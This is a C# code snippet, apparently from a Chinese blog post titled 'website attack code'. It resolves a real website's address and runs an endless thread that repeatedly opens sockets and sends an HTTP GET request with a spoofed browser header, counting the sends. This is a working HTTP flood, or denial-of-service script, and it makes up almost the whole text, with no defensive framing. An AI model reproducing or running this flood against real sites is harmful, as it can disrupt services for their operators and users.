- IPHostEntry ipHost = Dns.GetHostEntry("www.youkuaiyun.com");
- IPAddress ip = ipHost.AddressList.Where(i => { return i.AddressFamily.Equals(AddressFamily.InterNetwork); }).First();
- StringBuilder sb = new StringBuilder();
- //http://www.baidu.com/img/baidu_sylogo1.gif
- sb.AppendLine("GET /img/baidu_sylogo1.gif HTTP/1.1");
- sb.AppendLine("Accept: */*");
- sb.AppendLine("Accept-Language: zh-CN");
- sb.AppendLine("Content-Type: application/x-www-form-urlencoded");
- sb.AppendLine("User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ZHCN)");
- sb.AppendLine("Accept-Encoding: gzip, deflate");
- sb.AppendLine("Host: www.youkuaiyun.com");
- sb.AppendLine("Connection: Keep-Alive");
- int count = 0;
- #region 线程
- {
- Thread ths = new Thread(() =>
- {
- while (true)
- {
- for (int i = 0; i < 10; i++)
- {
- try
- {
- Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);
- socket.Connect(new IPEndPoint(ip, 80));
- byte[] sendData = Encoding.UTF8.GetBytes(sb.ToString());
- socket.Send(sendData);
- //byte[] recive = new byte[1024];
- //while (socket.Receive(recive) != 0)
- //{
- // Console.WriteLine(Encoding.UTF8.GetString(recive));
- //}
- socket.Shutdown(SocketShutdown.Both);
- socket.Close();
- count++;
- }
- catch { }
- }
- Console.WriteLine(count.ToString());
- }
- });
- ths.Start();
- }
- #endregion
网站攻击代码(C#)
最新推荐文章于 2025-04-08 17:51:08 发布